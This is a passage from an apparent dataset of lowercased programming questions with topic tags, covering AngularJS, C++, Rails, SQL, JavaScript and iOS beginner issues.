/app/views/partials/creditcardwidget.html           scope: {             card:  =card               types:  =               months:  =months               years:  =years               title:  @               opt:  &amp;               prefix:  @               isrequired:  &amp;          }     }; }); </code></pre>   <strong>edit 2</strong>    here is a simplified <a href= http://plnkr.co/edit/6fyvkb p=preview  rel= nofollow >plnkr</a>,angularjs
what data structure discards the oldest item when a new one is added   i ve been trying to remember this and it s driving me crazy.    basically  it s like a small array  of let s say size five  and as you add items it starts to fill up. when it s full  and you add a new item  the oldest one (first added) is removed.    you can access the values by something like variable[0]  variable[1] etc  where variable [0] is the oldest value  and variable 4 the newest.    any ideas on what this is called  is it a standard c++ type  or did i just see it somewhere as a custom class,c++
paperclip gem don t shows pictures  i have successfully installed paperclip gem and uploaded a picture to my post  but in show action there isn t any picture  just alt text with image alt.    i am using ruby on rails 3.2.1    <strong>@post form:</strong>   <pre><code>&lt;% create_url = {:url=&gt;{:action=&gt; create }} if @post.new_record  %&gt;       &lt;% form_for @post  :html =&gt; { :multipart =&gt; true } do |t| %&gt;         &lt;b&gt;&lt;%= t.label :title   virsraksts:  %&gt;&lt;/b&gt;&lt;br /&gt;         &lt;%= t.text_field :title %&gt;&lt;br /&gt;&lt;br /&gt;         &lt;b&gt;&lt;%= t.label :content   teksts:  %&gt;&lt;/b&gt;&lt;br /&gt;         &lt;%= t.text_area :content %&gt;&lt;br /&gt;&lt;br /&gt;         &lt;%= f.file_field :bildes %&gt; &lt;div class= actions &gt;   &lt;%= t.submit %&gt; &lt;/div&gt; </code></pre>                    <strong>@post show:</strong>   <pre><code> &lt;p&gt;&lt;%= @post.content  %&gt;&lt;/p&gt;  &lt;%= image_tag @post.bildes.url %&gt;  &lt;%= image_tag @post.bildes.url(:medium) %&gt;  &lt;%= image_tag @post.bildes.url(:thumb) %&gt; </code></pre>   in my opinion @post model url and path is not right  but exactly what i don t know.    <strong>@post model:</strong>   <pre><code>class post &lt; activerecord::base   has_attached_file :bildes  :styles =&gt; { :medium =&gt;  300x300&gt;   :thumb =&gt;  100x100&gt;  }                      :url =&gt;  :rails_root/app/assets/bildes/:id/:style/:basename.:extension                       :path =&gt;  :rails_root/app/assets/bildes/:id/:style/:basename.:extension  end </code></pre>,ruby-on-rails
writing a code that can count the minimum option  i wrote a code that counts the maximum combinations possible to make a number using   200 100 50 20 10 5 2 1    <pre><code>#include &lt;stdio.h&gt; void main(){    int num  a = 0  b = 0  c = 0  d = 0  e = 0  f = 0  g = 0  h = 0        counter = 0;   float temp = 0;   printf( what is the amount that you like to check  (or press  0  to exit)\n );   scanf_s( %d   &amp;num);     for (a = 0; a &lt; 3; a++)  \\ using loops to count the combinations just like in a safe      for (b = 0; b &lt; 5; b++)         for (c = 0; c &lt; 10; c++)             for (d = 0; d &lt; 15; d++)                 for (e = 0; e &lt; 50; e++)                 {                     if (num &lt; a * 200 + b * 100 + c * 50 + d * 20 + e * 10)                         break;                     for (f = 0; f &lt; 100; f++)                     {                         if (num &lt; a * 200 + b * 100 + c * 50 + d * 20 + e * 10 + f * 5)                             break;                         for (g = 0; g &lt; 250; g++)                         {                             if (num &lt; a * 200 + b * 100 + c * 50 + d * 20 + e * 10 + f * 5 + g * 2)                                 break;                             for (h = 0; h &lt; 500; h++)                             {                                 if (num == h);                                 temp = h;                                  if (num == a * 200 + b * 100 + c * 50 + d * 20 + e * 10 + f * 5 + g * 2 + h)                                 {                                     counter++;  \\ counting the combinations possible.                                     break;                                 }                             }                         }                     }                 }    printf( the number of possibilities is: %d.\n   counter);    temp = num*0.004;  \\ used to count the maximum weight     printf( the maximum weight is %.4f\n   temp); } </code></pre>   for example: 5 can be made from <code>5 221 2111 11111</code>.    now my next task is to count the minimum and maximum weight from that combination  the weight goes like this : <code> 200 100 50 </code>- all weights 1 gr   but    <pre><code> 10  weighs 7 gr    5  weighs 8.2 gr    2  weighs 5.7 and   1  weighs 4 gr </code></pre>   now the problem is that i thought the minimum weight would be  - for example    <pre><code> 233  will be 200 + 20 + 10 + 2 + 1 which in total is 18.7 </code></pre>   but in fact  the minimum weight is    <pre><code>100 + 50 + 20 + 20 + 20 + 20 + 2 + 1  which is 15.7 </code></pre>   so i have no idea how to count that  does anyone have a good idea,c
how to enable the button on client side  i have a asp.net button. it is disabled on the page load event. i can enable it by removing the below line:   <pre><code>  private overloads sub page_load(byval sender as system.object  byval e    as    system.eventargs) handles mybase.load  btndeleterecord.enabled = false end sub </code></pre>   but this will require the release of the whole application to production which is not allowed at this time. is it possible that i can enable this button on client side. below is the code for button:   <pre><code>&lt;asp:button id= btndeleterecord  runat= server  tooltip= delete records with the check mark                          text= delete records  enabled= true &gt; </code></pre>   any help will be greatly appreciated.,asp.net
c unknown-size structure  i am writing an app with the following dynamic config structure:   <pre><code>typedef struct {     char apphash[41];     char filenames_count;     char * filename[64]; } config; </code></pre>   but this code is wrong  i can t figure out how to copy data from and to c->filename[0] properly; c is a pointer to config structure  allocated dynamically like   <pre><code>config * c = (config *) malloc( 42 + 64 * 2 ) // alloc for 2 filenames. can realloc() later. </code></pre>   it segfaults if i use something like <code>strcpy(c-&gt;filename[0]  file1.txt )</code>.    can someone please help me with this     currently  i m using direct address calculation  like   <pre><code>strcpy(     (char*)      ((unsigned long) c + 42 /* apphash + filenames_count */ +      64 * 0 /* first item */ )       file1.txt  ); </code></pre>   and it works of course.     you see  i m more of assembly programmer than of c  but i d like this code to be more human-readable. this code looks that bad because i m newcomer in c.   <hr>   oh  i gave a bad description of the situation. sorry for that :(<br> the real code looks like:   <pre><code>config * c = (config*) malloc( 42 + 64 * 2 ); // we may realloc() it later if we are going to add more filenames.  // failing example how i do copy one default filename strcpy(c-&gt;filename[0]  file1.txt );  // working example (i386) strcpy((char*)((unsigned long) c + 42 + 64 * 0)  file1.txt ); </code></pre>   i am using fully static structure type because it is going to be loaded directly from a file next time. that s why i can t really use pointers inside the structure  i need real data to be placed there.<br> i do check all lengths  no bofs in real code  i just omitted all that stuff here.    i still didn t find a good solution to this.    thanks again and sorry for bad question information.,c
how to get linkedin public profile url from socialauth api in android   i am using socialauth-4.2.jar and socialauth-android-2.6.jar api to integrate linked in into my android app. inside responselistener class i m getting information of user who login with linked in. see below code :   <pre><code>private final class responselistener implements dialoglistener {         @override         public void oncomplete(bundle values) {                         log.v(     first name :   + adapter.getuserprofile().getfirstname());             log.v(     last name :   + adapter.getuserprofile().getlastname());                 }         } </code></pre>   but i want to profile url. how can i get profile url when i used socialauth api,android
beginner javascript advice  i m new to javascript and i can t understand why my code is not printing. i take in user input and it is supposed to print out to the textbox; can anyone help      forgive my ignorance  i m a complete newbie with this.     here s my code:   <pre><code>var $ = function(){     return document.getelementbyid(arguments[0]); } var protostudent = {     college:  athlone institute of technology       course:  bsc (hons) software design (cloud computing)  } var createstudent = function(id  name  age){     var student = object.create(protostudent);     student.id = id;     student.name = name;     student.age = age;      student.showdetails = function(){         return this.id +  \t  + this.name +  \t  + this.age +  \n ;     }     return student; } var studentarray = []; var addstudent = function(){     var id = $( studentid ). value;     var name = $( studentname ).value;     var age = $( studentage ).value;      student = new createstudent(id  name  age);      studentarray[studentarray.length] = student;     showstudent(); } var showstudent = function(){     var string =  id  +  \t  +  name  +  \t  +  age  +  \n ;     for (var i in studentarray){         string += studentarray[i].showdetails();     }     $( output ).value = string; } window.onload = function(){     $( add ).onclick = addstudent; } </code></pre>   the html is:   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en       http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt;     &lt;title&gt;student register&lt;/title&gt;     &lt;link rel= stylesheet  type= text/css  href= studentregister.css  /&gt;     &lt;script type= text/javascript  src= studentregister.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= shortcuts.js &gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt;      &lt;div id= content &gt;         &lt;h1&gt;student register&lt;/h1&gt;          &lt;label for= studentid &gt;student id:&lt;/label&gt;         &lt;input  type= text                   id= studentid                   value= enter student id here                   onfocus= this.value=    /&gt;&lt;br /&gt;          &lt;label for= studentname &gt;student name:&lt;/label&gt;         &lt;input  type= text                   id= studentname                   value= enter student name here                   onfocus= this.value=    /&gt;&lt;br /&gt;          &lt;label for= studentage &gt;student age:&lt;/label&gt;         &lt;input  type= text                   id= studentage                   value= enter student age here                   onfocus= this.value=    /&gt;&lt;br /&gt;          &lt;br /&gt;         &lt;label&gt;&amp;nbsp;&lt;/label&gt;         &lt;input  type= button                   id= add                   value= add  /&gt;&lt;br /&gt;         &lt;textarea id= output  rows= 10  cols= 60 &gt;&lt;/textarea&gt;     &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
how can i determine the best place to add indexes in mysql   i ve tried doing some searching  but i am having a bit of trouble getting a grasp on this.      once i explain a query  how can i look at the information and determine the best place to add an index to speed up the query.      for example i have this query:   <pre><code>    select a.app_id  date_format(app_datetime   %c/%d/%y %h:%i ) as app_datetime  app_language           if((select count(w.app_id) from li_app_cnc as w where w.app_id = a.app_id) &gt; 0           concat( cnc:   (select cnc_note from li_app_cnc as w where w.app_id = a.app_id))               if((select count(x.app_id) from li_app_dnc as x where x.app_id = a.app_id) &gt; 0  concat( dnc:    (select cancel_note from li_app_dnc as x where x.app_id = a.app_id))                   if((select count(y.app_id) from li_app_canceled as y where y.app_id = a.app_id) &gt; 0  concat( canceled:    (select cancel_note from li_app_canceled as y where y.app_id = a.app_id))                      concat(h.emp_firstname       h.emp_lastname)))) as int_id  app_notes  app_facility  app_department           app_requesting_person  app_service_provider           cast(aes_decrypt(les_name   $privatekey ) as char) as les_name           les_dob  cast(aes_decrypt(les_medicaid_id   $privatekey ) as char) as les_medicaid_id           billing_total_time  billing_workorder_received  billing_admin_fee           billing_notes  created_by  created_on  modified_by  modified_on  wo_entered_by           t.cancel_code  t.cancel_note           u.cnc_code  u.cnc_note           v.cancel_code as dnc_code  v.cancel_note as dnc_note         from li_appointments.li_appointments as a         left join orangehrm_li.hs_hr_employee as h on a.terp_id = h.employee_id         left join li_appointments.li_app_canceled as t on t.app_id = a.app_id         left join li_appointments.li_app_cnc as u on u.app_id = a.app_id         left join li_appointments.li_app_dnc as v on v.app_id = a.app_id         where (app_client_id in (select account_number from li_appointments.li_client_access              where id = $userid) or created_by =  $username )              and date(app_datetime) = date(now())             and a.app_id  not in (select f.app_id from li_app_dnc as f) </code></pre>   which takes about 14 secconds    it is explained as:   <pre><code>   1    primary                 a   all                 37539   using where    1    primary                 h   all                 1036        1    primary                 t   eq_ref  primary primary 4   li_appointments.a.app_id    1       1    primary                 u   eq_ref  primary primary 4   li_appointments.a.app_id    1       1    primary                 v   eq_ref  primary primary 4   li_appointments.a.app_id    1       9    dependent subquery  f   unique_subquery primary primary 4   func    1   using index    8    dependent subquery  li_client_access    all                        72   using where    7    dependent subquery  y   eq_ref  primary primary 4   li_appointments.a.app_id    1       6    dependent subquery  y   eq_ref  primary primary 4   li_appointments.a.app_id    1   using index    5    dependent subquery  x   eq_ref  primary primary 4   li_appointments.a.app_id    1       4    dependent subquery  x   eq_ref  primary primary 4   li_appointments.a.app_id    1   using index    3    dependent subquery  w   eq_ref  primary primary 4   li_appointments.a.app_id    1       2    dependent subquery  w   eq_ref  primary primary 4   li_appointments.a.app_id    1   using index </code></pre>,mysql
menus not displaying horizontally  now  menus are getting displayed in this way:   <pre><code>customer quote table  </code></pre>   but i want it to display in this way    <pre><code>customer  quote  table </code></pre>   <a href= http://dpaste.com/hold/183841/  rel= nofollow noreferrer >http://dpaste.com/hold/183841/</a>,html
how to combine 2 index.html both of different directories  i have 2 models = generator and results. generator has_many : results and result belongs_to:generator.    views/generator/index  and view/results/index have their own data. what i want to do is to have those 2 index page merge as 1. how should i do that   please show some examples if could. i m new to ror ...,ruby-on-rails
how to order by nearest float value  my mysql table:   <pre><code>id | numer 1  | 1.233 2  | 4.233 3  | 5.123 4  | 1.146 </code></pre>   <code>float</code> value is <strong>5.4554</strong>    and i need to select rows from above table with order by nearest number to my float value    example output:   <pre><code>5.123 4.233 1.233  1.146 </code></pre>   <strong><a href= http://www.sqlfiddle.com/#!2/75928b/4  rel= nofollow >sql fiddle</a></strong>,mysql
how to select  exceptions  in sql   i have a table <code>comments</code> which contains a field <code>student_id</code>(foreign key to <code>students</code> table.  i have another table <code>students</code>    what i would like to do  is run a query that displays all students who have not made any comments. the sql i have  only shows students who have made comments   <pre><code>select studentid  email  first_name  last_name from  students  join comments on students.id = comments.student_id  </code></pre>   how do i  reverse  this sql to show students who have not commented,sql
c# mvc3 authorize current logged in user against active directory group  i ve got a mvc3 front end to an application that i m working on.  i can block or grant access to an active directory group successfully by using [authorize(roles=@ mydomain\mygroup )].  before i authenticate i can pull and display the domain\username on the webpage so i know it s seeing the user and fully expected to see this information used to authenticate the user.  however  unexpectedly i m getting a logon prompt which requires me to re-authenticate the user i m currently logged in with. once i re-authenticate the user it then works fine on the site.  ultimately i do want it to ask for authentication if it cannot determine who is logged in.  i m sure someone has asked this question before but i m not finding anything on it; i guess i m not sure what the terminology is to search for exactly...,.net
identifying deleted character in uitextfield or uitextview  i need to identify the deleted character. for example  when i delete a character  @   i need to perform some actions. is there any easy way to do this  or do i need to keep the recently typed character in a variable and check the range.length == 0 in shouldchangecharactersinrange     thanks in advance.,ios
javascript delete keeps  empty  in object  trying to delete elements from object using <code>delete</code>   but while the value is gone  there s still  empty  in the object. as show in the image:    <a href= https://i.stack.imgur.com/zkpjh.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/zkpjh.png  alt= enter image description here ></a>    which causing unwanted behviour in a following iteration:   <pre><code>for (const [key  value] of ids.entries()) {     if (object.values(this.widget_ids).indexof(value) &gt;= 0) {         delete ids[key]     } } </code></pre>   now  i can t use <code>pop</code> or <code>shift</code> since . i need the option to remove by key  any idea how can i delete and remove this empty slot  or even better  remove while not having do deal with it at all,javascript
how to write an sql query that will return rows that have empty fields   i want to write a query that will output all rows  including the rows that have empty fields in them. but my query only outputs rows with all non-empty fields.     here s what i mean.    so these are my tables table 1: sponsor <a href= https://i.stack.imgur.com/5kiat.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/5kiat.png  alt= enter image description here ></a>    table 2: contact <a href= https://i.stack.imgur.com/r7giv.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/r7giv.png  alt= enter image description here ></a>    and this is my query:   <pre><code>select   s.sponsor_name  s.sub_name  sum(s.amount)            count(s.id)  c.contact_name  c.tel from     sponsor as s  contact as c where (s.id = c.sponsor_id) and (c.is_primary = 1) group by sponsor_name  sub_name </code></pre>   here is the output: <a href= https://i.stack.imgur.com/zaamk.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/zaamk.png  alt= enter image description here ></a>    i want the output to show all 3 sponsors like this: <a href= https://i.stack.imgur.com/jcsgh.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jcsgh.png  alt= enter image description here ></a>,mysql
getting 404 for rails static assets  i m using carrierwave to handle file uploads. files get stored under public/uploads/. project uses ember.js templates  and the img tags point to the proper src. (i ve verified that the files are present at those paths.) however  the server returns a 404 for each.    it looks like this is a common problem  and the common solution is to:   <pre><code>config.serve_static_assets = true </code></pre>   however  this isn t working. i m still getting 404s. any other ideas about how to deal with this     it should be noted that i m not using apache or nginx.,ruby-on-rails
how to make this css crossbrowser   i don t know  how to make this code crossbrowser: (it works only in safari and chrome)    <a href= http://jsfiddle.net/mwynp/  rel= nofollow >http://jsfiddle.net/mwynp/</a>   <pre><code>body {     padding: 10px 9px;     background: -webkit-linear-gradient(left  #c5ccd4 71%  #cbd2d8 71%  #cbd2d8 100%);     -webkit-background-size: 7px 1px;    }​ </code></pre>,css
iphone web application developed using asp.net  we are developing an asp.net web application and need that application to work properly on iphone   <ol> <li>are there any  memory constraints for an asp.net web application  to work properly on iphone </li> <li>are there any issues with  usage of asp.net controls like gridview/ tab view etc.</li> <li>would there be any issues with 3rd party controls like ajax radschduler from telerik</li> <li>any other other constraints for a web application to work on iphone.</li> </ol>   thnx amit,iphone
how can convert string to json array  i m getting error cannot convert string to json object ..    while i m converting this string   <pre><code>{ user_id :    user_id: 140  }; </code></pre>   error getting due to the format problem     thanks in advance..,android
post data after submission can t able to fetch  i am trying to implement the guest login. the data is saving after submitting the details to api and when redirecting to next page to see details the data is not coming from api. please tell me where is the problem. i am attaching few codes so that you can able to understand whats happening     <strong>code for submitting guest detail</strong>   <pre><code>- (ibaction)guestsubmit:(id)sender { if ([self validatebool]) {     bool check=[[appdelegate appdelegate] checkreachability];     if (check) {         dispatch_async(dispatch_get_global_queue(dispatch_queue_priority_default  0)   ^{             nsdictionary * dic=[servicehelper guest:[self guestjsonstring]];             dispatch_async(dispatch_get_main_queue() ^{                 nsarray *akey = [dic allkeys];                 nslog(@ akey   akey);                 if ([[akey objectatindex:0] isequaltostring:@ success ]) {                      uialertview * alert =[[uialertview alloc]initwithtitle:@ success  message:[dic valueforkey:[akey objectatindex:0]] delegate:self cancelbuttontitle:@ ok  otherbuttontitles:nil  nil];                     alert.tag=25;                     [alert show];                   ///                      nsstring * pcode=[[nsuserdefaults standarduserdefaults]valueforkey:@ postcode ];                     if (pcode.length==0) {                         [[nsuserdefaults standarduserdefaults]setobject:[dic valueforkey:@ fname ] forkey:@ fname ];                         [[nsuserdefaults standarduserdefaults]setobject:[dic valueforkey:@ lname ] forkey:@ lname ];                         [[nsuserdefaults standarduserdefaults]setobject:[dic valueforkey:@ phone ] forkey:@ phone ];                         [[nsuserdefaults standarduserdefaults]setobject:[dic valueforkey:@ email ] forkey:@ email ];                         collectionviewcontroller * cvc=[[collectionviewcontroller alloc]initwithnibname:@ collectionviewcontroller  bundle:nil];                         [self.navigationcontroller pushviewcontroller:cvc animated:yes];                      } else {                         [[nsuserdefaults standarduserdefaults]setobject:[dic valueforkey:@ fname ] forkey:@ fname ];                         [[nsuserdefaults standarduserdefaults]setobject:[dic valueforkey:@ lname ] forkey:@ lname ];                         [[nsuserdefaults standarduserdefaults]setobject:[dic valueforkey:@ phone ] forkey:@ phone ];                         [[nsuserdefaults standarduserdefaults]setobject:[dic valueforkey:@ email ] forkey:@ email ];                         deliverypaymentviewcontroller * dpvc=[[deliverypaymentviewcontroller alloc]initwithnibname:@ deliverypaymentviewcontroller  bundle:nil];                         [self.navigationcontroller pushviewcontroller:dpvc animated:yes];                     }                    } else {                      uialertview * alert =[[uialertview alloc]initwithtitle:@ error  message:[dic valueforkey:[akey objectatindex:0]] delegate:self cancelbuttontitle:@ ok  otherbuttontitles:nil  nil];                     [alert show];                                        }             });         });     } } </code></pre>   <a href= https://i.stack.imgur.com/vapkq.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/vapkq.png  alt= enter image description here ></a>    the data is saved in api. see the code below   <pre><code>   -(nsstring*)guestjsonstring { nsmutablestring *jsonstringbuilder = nil; nsstring *jsonstring = @  ;  @try {     if (jsonstringbuilder == nil)     {         jsonstringbuilder = [[nsmutablestring alloc] init];     }      [jsonstringbuilder appendformat:@ { ];     [jsonstringbuilder appendformat:@ \ app_id\ :\ %@\    @ 2 ];     [jsonstringbuilder appendformat:@ \ request\ :\ %@\    @ guest ];     [jsonstringbuilder appendformat:@ \ fname\ :\ %@\    guestfname.text];     [jsonstringbuilder appendformat:@ \ lname\ :\ %@\    guestlname.text];     [jsonstringbuilder appendformat:@ \ phone\ :\ %@\    guestphoneno.text];     [jsonstringbuilder appendformat:@ \ email\ :\ %@\   guestemail.text];     [jsonstringbuilder appendformat:@ } ];     jsonstring = jsonstringbuilder; } @catch (nsexception *exception) {     jsonstring = @  ; } @finally {      [[nsuserdefaults standarduserdefaults]setobject:jsonstring forkey:@ guestjsonstring ];      return jsonstring;   }} </code></pre>   after submitting no data is there. see the screenshots    <a href= https://i.stack.imgur.com/miz1q.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/miz1q.png  alt= enter image description here ></a>    **servicehelper.m file **   <pre><code>+(nsdictionary *)guest:(nsstring *)jsonstring { nsdictionary *returnresponse; nsdata *postdata = [nsdata datawithbytes:[jsonstring utf8string] length:[jsonstring length]]; nsstring *serviceoperationurl = [[nsstring stringwithformat:@ http://iphone.eposapi.co.uk ]stringbyaddingpercentescapesusingencoding:nsasciistringencoding]; returnresponse=[self stringwithurl:[nsurl urlwithstring:serviceoperationurl] postdata:postdata httpmethod:@ post ];  return returnresponse;} </code></pre>,objective-c
can t read the content of a remote variable which was stored locally  here s the scenario: i have a node server running locally (for production purposes) and i get a file from it through the following function:   <pre><code>function actualizarmapa() {         $.getscript(  http://localhost/paradas.js  ).done(function( script  textstatus ) {                console.log( paradas[0][6] de archivo  );console.log(paradas[0][6]);         actualizomarkers(paradas);     }).fail(function( jqxhr  settings  exception ) {          $(  #aviso  ).html(  &lt;p&gt;servidor fuera de servicio. reintente luego&lt;/p&gt;  );         });   }; </code></pre>   (the content of this file changes periodically in minutes)    the content of paradas.js is an array:   <pre><code>var paradas = [[ 01 - teatro solís - liniers y reconquista   -34.907822   -56.200436  3 1  oficina de atención movete  8 20  1 ] [ 02 - templo inglés - reconquista y treinta tres   -34.909481   -56.204361  4 1  oficina de atención movete  12 20  1 ] [ 03 - reconquista y pérez castellanos   -34.910782   -56.209106  5 1  oficina de atención movete  12 20  1 ] [ 04 - hospital maciel - guaraní y washington   -34.908863   -56.212181  6 1  oficina de atención movete  13 16  1 ] [ 05 - mercado del puerto - piedras y pérez castellanos   -34.906021   -56.211327  7 1  oficina de atención movete  5 20  1 ] [ 08 - plaza matriz - juan carlos gómez y rincón   -34.906101   -56.203266  8 1  oficina de atención movete  9 20  1 ] [ 07 - terminal ciudadela norte - piedras y juncal   -34.902901   -56.202896  9 1  oficina de atención movete  15 20  1 ] [ 06 - banco de la república - zabala y piedras   -34.905022   -56.208302  10 1  oficina de atención movete  3 16  1 ] [ oficina de atención movete   -34.9067246   -56.2108961  0 -1  montevideo  0 0  1 ]    ]; </code></pre>   however the log doesn t display the correct value  paradas[0][6] should be 8 but it shows 11 instead. it seems it gets the value from another  ghost  variable.    the html file has the script tag to this file also.    any ideas how i should do to get it correctly . i tryed passing the array to the function but it didn t work.    thanks a lot in advance.,javascript
importing and executing a local function in python  so i m trying to complete some of the project euler challenges in python3.6 and i ve run into this problem:   <pre><code>def divisors(n):     divisors = []     for i in range(2  round(n/2)+1):         if n%i == 0:                 divisors.append(int(n/i))     divisors.append(1)     return sum(divisors)  def checkamicable(n):     if divisors(divisors(n)) == n:         if divisors(n) != n:             return true     else:         return false  def main():     amicables = []     for i in range(1 20000):         if checkamicable(i) == true:             if (divisors(i)+i) not in amicables and divisors(i)&lt;10000:                 amicables.append(divisors(i)+i)     print(sum(amicables))  main() </code></pre>   this is my solution to problem 21 (euler21.py)  it works and gives the sum of the amicable pairs as asked. i want to be able to import the function  divisors(n)  into another file of code (in this case euler23.py).    from my understanding this should work:   <pre><code>from euler21 import divisors print(divisors(220)) </code></pre>   and this should simply print 284  however  when executing it  the entire euler21 code executes and i get the results of that program  plus the 284 at the end  like this:   <pre><code>31626 284 </code></pre>   any suggestions  could it be due to me using my command line as opposed to the ide     tl;dr: imported file executes entire code  not the specifically called function.,python
getting location values to populate in text box javascript  i m trying to get the gps coordinates to populate in the text box on this sandbox: <a href= https://jsfiddle.net/8pkmrsj7/  rel= nofollow >https://jsfiddle.net/8pkmrsj7/</a>   <pre><code>function geofindme() {     var output = document.getelementbyid( out );      if (!navigator.geolocation){         output.innerhtml =  &lt;p&gt;geolocation is not supported by your browser&lt;/p&gt; ;         return;     }      function success(position) {         var loc  = position.coords.latitude +     + position.coords.longitude;         output.innerhtml =  loc ;     };      function error() {         output.innerhtml =  unable to retrieve your location ;     };      output.innerhtml =  &lt;p&gt;locating…&lt;/p&gt; ;      navigator.geolocation.getcurrentposition(success  error); }; </code></pre>  <pre class= lang-html prettyprint-override ><code>    &lt;p&gt;         &lt;button onclick= geofindme() &gt;show my location&lt;/button&gt;     &lt;/p&gt;     &lt;div id= out &gt;&lt;/div&gt; &lt;/div&gt; &lt;input type= text  id= out  /&gt; </code></pre>   i m close  but am just missing something.  any pointers,javascript
does an objective-c command line program require an nsautoreleasepool   i m learning objective-c by playing around with some code in a simple command line program  here s my code:   <pre><code>#import &lt;foundation/foundation.h&gt; #import &lt;stdio.h&gt;  int main(int argc  char** argv) {     nsstring *hello = @ hello world ;      printf( msg: %s\n   [hello utf8string]);      return 0; } </code></pre>   i compile and run it like this:   <pre><code>gcc test.m -o test -objc -framework foundation ./test </code></pre>   and get the following output:   <pre><code>2011-06-08 20:35:21.178 test[10220:903] *** __nsautoreleasenopool(): object  0x10010c8b0 of class nscfdata autoreleased with no pool in place - just leaking msg: hello world </code></pre>   so i can see that the error is referring to the fact that there s no nsautoreleasepool  and when i add one  the error goes away:   <pre><code>#import &lt;foundation/foundation.h&gt; #import &lt;stdio.h&gt;  int main(int argc  char** argv) {     nsautoreleasepool *pool = [[nsautoreleasepool alloc] init];      nsstring *hello = @ hello world ;      printf( msg: %s\n   [hello utf8string]);      [pool release];      return 0; } </code></pre>   so am i right in assuming that a command line application that uses objects like nsstring etc. and compiles against foundation requires an auto release pool to be created manually  and is my example above the best way of doing it     note: i also tried to [hello release]; without the nsautoreleasepool to see if i could just manually clear up the memory without using a pool  but got the same problem.,objective-c
unable to understand new keyword in java  probably a very noob question    i am new to java and am reading a third party api written in java...    i came across this declaration   <pre><code>foo foo = new foobar().new foo(); </code></pre>   i am unable to understand   <pre><code> foobar().new </code></pre>   why is this declaration like this     what advantages does one get in declaring something like above and what are the alternatives to such declaration.    any advice/references would be greatly appreciated.    thanks,java
how can i go back after selecting date in date picker  i am facing a problem in date picker. when am i clicking on date picker done button. then my code is crashing.   <pre><code>-(ibaction)btn:(id)sender {      nsdateformatter *df = [[nsdateformatter alloc] init];     df.datestyle = nsdateformattermediumstyle;     datelabel.text = [nsstring stringwithformat:@ %@                     [df stringfromdate:[nsdate date]]];     [df release];     [self.view addsubview:datelabel];      [datelabel release];         datepicker = [[uidatepicker alloc] initwithframe:cgrectmake(0  250  325  300)];     datepicker.datepickermode = uidatepickermodedate;     datepicker.hidden = no;     datepicker.date = [nsdate date];        [datepicker addtarget:self                    action:@selector(labelchange:)          forcontrolevents:uicontroleventvaluechanged];     [self.view addsubview:datepicker];         [datepicker release];           }     - (void)labelchange:(id)sender{     nsdateformatter *df = [[nsdateformatter alloc] init];     df.datestyle = nsdateformattermediumstyle;     datelabel.text = [nsstring stringwithformat:@ %@                     [df stringfromdate:datepicker.date]];                   }     uitoolbar *toolbar = [[uitoolbar alloc] init];     toolbar.barstyle = uibarstyleblackopaque;     toolbar.frame=cgrectmake(0 4 datepicker.frame.size.width 40);     [datepicker addsubview:toolbar];         uibarbuttonitem *flexiblespace = [[uibarbuttonitem alloc] initwithbarbuttonsystemitem:uibarbuttonsystemitemflexiblespace target:nil action:nil];     uibarbuttonitem *donebtn=[[uibarbuttonitem alloc] initwithtitle:@ done  style:uibarbuttonitemstylebordered target:self action:@selector(doneselected)];     [toolbar setitems:[nsarray arraywithobjects:flexiblespace donebtn nil]];     [flexiblespace release]; } </code></pre>,iphone
not allowed document.write after page load   i ve been told that you can t use document.write after a page load  is this true     i ve created an extremely simple javascript file that gets included from websites which serves as an advertising script. it just includes a <code>document.write( link here )</code>. i ve been told that i should not do this though as apparently it isn t correct  and it will stop the page from loading     is this true  it works fine for me.    thanks,javascript
html header across screen width  i have been playing around with basic html coding  and i can t get the header to run across the entire screen width   <pre><code>&lt;div id= header  style=  position:fixed;  background-color: #0099cc; width=100% &gt;     &lt;h1 style= float: left; color: black &gt;hello&lt;/h1&gt;     &lt;div style= float: right; padding: 2.5em 5em; &gt;      &lt;a href= teamassignment &gt;blah blah&lt;/a&gt;     &lt;a href= logout &gt;logout&lt;/a&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   please note: i do not want to use css. i can do this through css perfectly fine  but i ve been fiddling with html and just isn t sure why the same properties don t apply when i use style in html coding.    jsfiddle: <a href= http://jsfiddle.net/wjssp/  rel= nofollow >http://jsfiddle.net/wjssp/</a>,html
set footer to bottom of page using javascript only  i m trying to hack a squarespace template to turn an announcement bar into a footer.    can anyone advise how to force an element to the bottom of the page using javascript only.    no css  no jquery.    thanks james,javascript
does the javascript typeof operator ever return an upper case string   i recently came across the following line of code:   <pre><code>var type = (typeof x).tolowercase(); </code></pre>   note that in the above code  <code>x</code> will only ever be a string  a number  or undefined. i questioned this  pointing out that the <a href= http://es5.github.com/#x11.4.3  rel= nofollow >specification (11.4.3)</a> states the values to be returned by the <code>typeof</code> operator  and all of them are already lower case.    it s worth noting that the specification leaves host objects free to return pretty much whatever they like  so in that case it <em>is</em> possible to get a string with some upper case letters (i don t whether that actually ever happens  but it is allowed). however  as already stated  in this case <code>x</code> is only ever a string  a number or undefined.    my question is  do any implementations of the <code>typeof</code> operator ever return anything other than a lower case string,javascript
difference between variables in jquery  can anyone tell me what is the difference between variables $variable and $.variable in jquery  for examle:   <pre><code>$x= 3 ; $.y(parseint($(this).val()) </code></pre>,jquery
ios slide menu with dynamic user image  i want to make a slide menu in ios <a href= https://s-media-cache-ak0.pinimg.com/236x/0f/ec/92/0fec92d7c7dce13cab0ad94f0c8ab7f4.jpg  rel= nofollow >like</a> this type (facebook / pinterst or gmail app) . i need the user information in slide menu. i saw a couple of examples but i can t find any one with user info image. please give me any suggestion (i have tried it with amslidemenu).,ios
